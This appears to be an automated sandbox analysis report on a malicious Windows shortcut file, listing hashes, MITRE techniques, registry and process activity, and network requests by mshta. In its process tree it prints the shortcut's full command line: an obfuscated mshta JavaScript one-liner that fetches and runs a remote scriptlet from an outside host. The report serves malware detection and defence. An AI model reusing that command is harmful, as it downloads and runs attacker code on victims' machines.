a89872c21ac68096a76a60e5a13c77ddf79252c3097aea42865879c5b6d452f3

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
23-05-2024 18:19

Target

V_273686.Lnk.lnk
Size

14KB
MD5

1dca9e98e575af3b1e2b90e59d75dc43
SHA1

16cc510d884cae94137a9fbf90c4d2c0f0c5d2f1
SHA256

a89872c21ac68096a76a60e5a13c77ddf79252c3097aea42865879c5b6d452f3
SHA512

abbe50c0e93d99fe2c12c0c6c33204b28deeecf038f6cf11f67ba6ce770e4b95a7c3c9562512747a8df607408f342a877514e4d1d1dfedc3a5d96d9953563129
SSDEEP

384:nhjOveahqUcUXmdw7o3m7Ylw0sBsHorbqaUA/d:pOvShUXm68m00e1DY

Score

8^/10

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exe

flow pid process

4 2644 mshta.exe
6 2644 mshta.exe
9 2644 mshta.exe
11 2644 mshta.exe
13 2644 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2024 wrote to memory of 2352	2024	cmd.exe	cmd.exe
PID 2024 wrote to memory of 2352	2024	cmd.exe	cmd.exe
PID 2024 wrote to memory of 2352	2024	cmd.exe	cmd.exe
PID 2352 wrote to memory of 2644	2352	cmd.exe	mshta.exe
PID 2352 wrote to memory of 2644	2352	cmd.exe	mshta.exe
PID 2352 wrote to memory of 2644	2352	cmd.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\V_273686.Lnk.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c MshtA "JaVAsCrIpT:var _$_NXUI=["\x4b\x49\x49\x54\x48\x5a\x4c","\163\x63\162\x69\160\x74\x3a\110\124\x74\x70\163\x3a\x2f\x2f\x63\x72\x6f\156\x61\x6c\x31\70\64\56\x70\x68\162\x6f\x61\x74\x69\166\x61\x2e\x63\157\155\x2e\142\x72\57\x3f\x32\x2f"];try{GetObject(_$_NXUI[1])[_$_NXUI[0]]()}catch(e){};close()"
2⤵
- Suspicious use of WriteProcessMemory
PID:2352

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

C:\Users\Admin\AppData\Local\Temp\Cab3536.tmp
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar35C5.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit